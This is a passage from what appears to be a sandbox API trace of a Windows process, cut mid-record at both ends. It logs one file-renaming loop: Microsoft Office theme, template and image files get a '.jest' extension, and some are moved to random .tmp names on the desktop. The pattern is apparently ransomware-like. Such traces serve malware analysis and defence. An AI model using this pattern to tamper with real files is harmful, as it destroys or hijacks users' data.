HALPmcxz\\Desktop\\QxZc47ZBWNBMpqfljjYLXhXHhUh esZnbgzsB2W8CwxcA1htoCZYUVnXugu5UQiw55ju2j4PUThmjQ63I4P -Pq2C1fpzp2opbc3.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qxzc47zbwnbmpqfljjylxhxhhuh esznbgzsb2w8cwxca1htoczyuvnxugu5uqiw55ju2j4puthmjq63i4p -pq2c1fpzp2opbc3.tmp")) returned 0 [0168.933] GetLastError () returned 0x2 [0168.933] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﳉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.934] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DigitalInk.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\digitalink.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DigitalInk.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\digitalink.jpg.jest")) returned 1 [0168.936] VarBstrFromR4 (in: fltIn=0x4794593f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.49") returned 0x0 [0168.937] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DigitalInk.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\digitalink.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lMis_pmWvg7rKK7wsgaOU9V Lmv0tXt7fKCjKdaSHsum1G4BthM7VitpKcne8OoWf9Kbt92eAQLdR 5KJ3DGHTvK286ODVZn5nb.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lmis_pmwvg7rkk7wsgaou9v lmv0txt7fkcjkdashsum1g4bthm7vitpkcne8oowf9kbt92eaqldr 5kj3dghtvk286odvzn5nb.tmp")) returned 0 [0168.937] GetLastError () returned 0x2 [0168.937] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︑", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.938] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\discussiontooliconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImages.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\discussiontooliconimages.jpg.jest")) returned 1 [0168.940] VarBstrFromR4 (in: fltIn=0x4794593f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.49") returned 0x0 [0168.942] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\discussiontooliconimages.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\008ib xi7WRMO yH65fvjEdrxyPmp0j7eL 5zFDGx0TPdzt4iV5zqZE-8XGZ842Rqs2xa7ww5H5IpCkGmQOD0yQmO8ij0E42b2h9R.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\008ib xi7wrmo yh65fvjedrxypmp0j7el 5zfdgx0tpdzt4iv5zqze-8xgz842rqs2xa7ww5h5ipckgmqod0yqmo8ij0e42b2h9r.tmp")) returned 0 [0168.942] GetLastError () returned 0x2 [0168.943] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱬ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.944] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Earthy.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\earthy.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Earthy.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\earthy.css.jest")) returned 1 [0168.947] VarBstrFromR4 (in: fltIn=0x47945941, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.51") returned 0x0 [0168.948] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Earthy.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\earthy.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yxTqNTocfZ-mpom0RTRu8w-cdcKjYH_yUcLzyByvc-stq3BMCl5yOeR98NjP 03wroGaK_mrrvcyLkwemepulr9B n_5lmS2MS1Tp.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yxtqntocfz-mpom0rtru8w-cdckjyh_yuclzybyvc-stq3bmcl5yoer98njp 03wrogak_mrrvcylkwemepulr9b n_5lms2ms1tp.tmp")) returned 0 [0168.948] GetLastError () returned 0x2 [0168.949] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.949] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\EMAIL.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\email.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\EMAIL.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\email.xml.jest")) returned 1 [0168.952] VarBstrFromR4 (in: fltIn=0x47945941, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.51") returned 0x0 [0168.952] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\EMAIL.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\email.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x3v54zIej4LZwH4_arTUyuRZHl R_7reR73f4m5- AN-fHZewbhBPAaEGtD-UaMLEbvaPZRu072yV PG_ttb5plKnQ9snFBM-OfCN.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\x3v54ziej4lzwh4_artuyurzhl r_7rer73f4m5- an-fhzewbhbpaaegtd-uamlebvapzru072yv pg_ttb5plknq9snfbm-ofcn.tmp")) returned 0 [0168.953] GetLastError () returned 0x2 [0168.953] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.954] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ENVELOPE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\envelope.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ENVELOPE.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\envelope.xml.jest")) returned 1 [0168.956] VarBstrFromR4 (in: fltIn=0x47945941, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.51") returned 0x0 [0168.958] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ENVELOPE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\envelope.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wjD1e8zdTY3ygzyYJJ-gmAIZWcK27_esH4CjR3VOhmK70uUPvh5Ns-7Wxz3u5-SdVmwpUIDDVsLH3uN0Dm4-YZAx50IcfDT82RSIr.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wjd1e8zdty3ygzyyjj-gmaizwck27_esh4cjr3vohmk70uupvh5ns-7wxz3u5-sdvmwpuiddvslh3un0dm4-yzax50icfdt82rsir.tmp")) returned 0 [0168.958] GetLastError () returned 0x2 [0168.959] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﻒ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.960] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.961] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\exlirmv.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRMV.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\exlirmv.xml.jest")) returned 1 [0168.963] VarBstrFromR4 (in: fltIn=0x47945943, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.52") returned 0x0 [0168.964] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\exlirmv.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vJuky04_Kk-Aio6ytkodRIbgixzsFAShPs468dW9HF8ipFd1OdOy F c0hkGwTEX5obbeBC5KW-h0sF0SEbhEpjckwL_f9It5he6M.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vjuky04_kk-aio6ytkodribgixzsfashps468dw9hf8ipfd1odoy f c0hkgwtex5obbebc5kw-h0sf0sebhepjckwl_f9it5he6m.tmp")) returned 0 [0168.964] GetLastError () returned 0x2 [0168.971] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.972] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.XML" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.xml.jest")) returned 1 [0168.977] VarBstrFromR4 (in: fltIn=0x47945946, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.55") returned 0x0 [0168.978] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.XML" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RmXKMAK3mFxv9Jy_Irxc7wgs33TPplj2Afyvtq_x5NgZNB90yB6yxoHVNRhG9VubKUvHFpU40PkKx-uuB5Q28_lg6xW0vpLK8dzy.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rmxkmak3mfxv9jy_irxc7wgs33tpplj2afyvtq_x5ngznb90yb6yxohvnrhg9vubkuvhfpu40pkkx-uub5q28_lg6xw0vplk8dzy.tmp")) returned 0 [0168.978] GetLastError () returned 0x2 [0168.979] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.980] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FLYER.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\flyer.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FLYER.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\flyer.xml.jest")) returned 1 [0168.982] VarBstrFromR4 (in: fltIn=0x47945946, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.55") returned 0x0 [0168.983] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FLYER.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\flyer.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7Sko4j1qSMVF13XEL-oAou2lS6aPdwhD0RGAWLi59FyIoqJoUnr5Yk-YMW8z3SxjTBWTzRGpntfTWnTYxKIutR_9emd20eQBcxJ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7sko4j1qsmvf13xel-oaou2ls6apdwhd0rgawli59fyioqjounr5yk-ymw8z3sxjtbwtzrgpntftwntyxkiutr_9emd20eqbcxj.tmp")) returned 0 [0168.983] GetLastError () returned 0x2 [0168.983] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ｈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.984] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\adjacency.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\adjacency.xml.jest")) returned 1 [0168.986] VarBstrFromR4 (in: fltIn=0x47945946, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.55") returned 0x0 [0168.987] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\adjacency.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\annmk DX_V9ZFWRUEcA4tjeJmC2CnOGXPD06u2MicAwKsvD2lfpbY9gZlZ2iSMLdEwdAsCUxDKyu7fRR30sJXDmU79VRMJ5rA0-_Q.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\annmk dx_v9zfwrueca4tjejmc2cnogxpd06u2micawksvd2lfpby9gzlz2ismldewdascuxdkyu7frr30sjxdmu79vrmj5ra0-_q.tmp")) returned 0 [0168.987] GetLastError () returned 0x2 [0168.987] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ｈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.987] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apex.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apex.xml.jest")) returned 1 [0168.989] VarBstrFromR4 (in: fltIn=0x47945947, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.55") returned 0x0 [0168.990] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apex.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rBDFile7RLSQ0R506WQSWPYBc65IGDS0TzSUFZDx6eOOBN31vlPK7IvzeluGW7NC8LoI3TAwzQFtk4DqjzqyKleVGg3brek1S0v.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rbdfile7rlsq0r506wqswpybc65igds0tzsufzdx6eoobn31vlpk7ivzelugw7nc8loi3tawzqftk4dqjzqyklevgg3brek1s0v.tmp")) returned 0 [0168.990] GetLastError () returned 0x2 [0168.990] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ｈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.991] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\aspect.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\aspect.xml.jest")) returned 1 [0168.993] VarBstrFromR4 (in: fltIn=0x47945947, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.55") returned 0x0 [0168.993] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\aspect.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CPzOk6yu3GL4cZih1Nm5L2R8yz9sbNVRHp0thjif260ksUurGy-CUXMsunuGWTbqE2SiJXSBJ5nX5AC7t8PLi4uuoeaSCdgc9gp6.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cpzok6yu3gl4czih1nm5l2r8yz9sbnvrhp0thjif260ksuurgy-cuxmsunugwtbqe2sijxsbj5nx5ac7t8pli4uuoeascdgc9gp6.tmp")) returned 0 [0168.994] GetLastError () returned 0x2 [0168.994] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ｈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.994] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\civic.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\civic.xml.jest")) returned 1 [0168.996] VarBstrFromR4 (in: fltIn=0x47945947, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.55") returned 0x0 [0168.996] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\civic.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8ILAMPDtHRWYietzw0IPrOSyrkC9KWCHKSQg03DHzi-_mZxCL1tCpzDwIBR1fuQ-Qjcc6SpiOy pJthdjAG-M8Vfu5azzK0-TcgMf.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8ilampdthrwyietzw0iprosyrkc9kwchksqg03dhzi-_mzxcl1tcpzdwibr1fuq-qjcc6spioy pjthdjag-m8vfu5azzk0-tcgmf.tmp")) returned 0 [0168.997] GetLastError () returned 0x2 [0168.997] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ｈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.997] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\clarity.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\clarity.xml.jest")) returned 1 [0169.000] VarBstrFromR4 (in: fltIn=0x47945947, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.55") returned 0x0 [0169.000] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\clarity.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZWOIfIZaGKohQ 7 mbNk-6t0aHidw0jQ_YzPD1UNggtEqCNgYmPVbI77z9JV4_b9 zfPRJSdZQ-hiTSEVJtjtWra-ZWPcfGtyh4y.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zwoifizagkohq 7 mbnk-6t0ahidw0jq_yzpd1unggteqcngympvbi77z9jv4_b9 zfprjsdzq-hitsevjtjtwra-zwpcfgtyh4y.tmp")) returned 0 [0169.000] GetLastError () returned 0x2 [0169.001] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ｈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.002] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\composite.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\composite.xml.jest")) returned 1 [0169.004] VarBstrFromR4 (in: fltIn=0x47945949, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.57") returned 0x0 [0169.005] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\composite.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EWGQl8QRl0O4k5IL_IIUlMx4qPcBYjvS1xx-Ib4OWr5O6H -wgPPtYrb_B_bxFLBzuTN3VKJHLGJNpuq- lHiJCmnErLJwmXPW2D.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ewgql8qrl0o4k5il_iiulmx4qpcbyjvs1xx-ib4owr5o6h -wgpptyrb_b_bxflbzutn3vkjhlgjnpuq- lhijcmnerljwmxpw2d.tmp")) returned 0 [0169.005] GetLastError () returned 0x2 [0169.005] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ｈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.006] 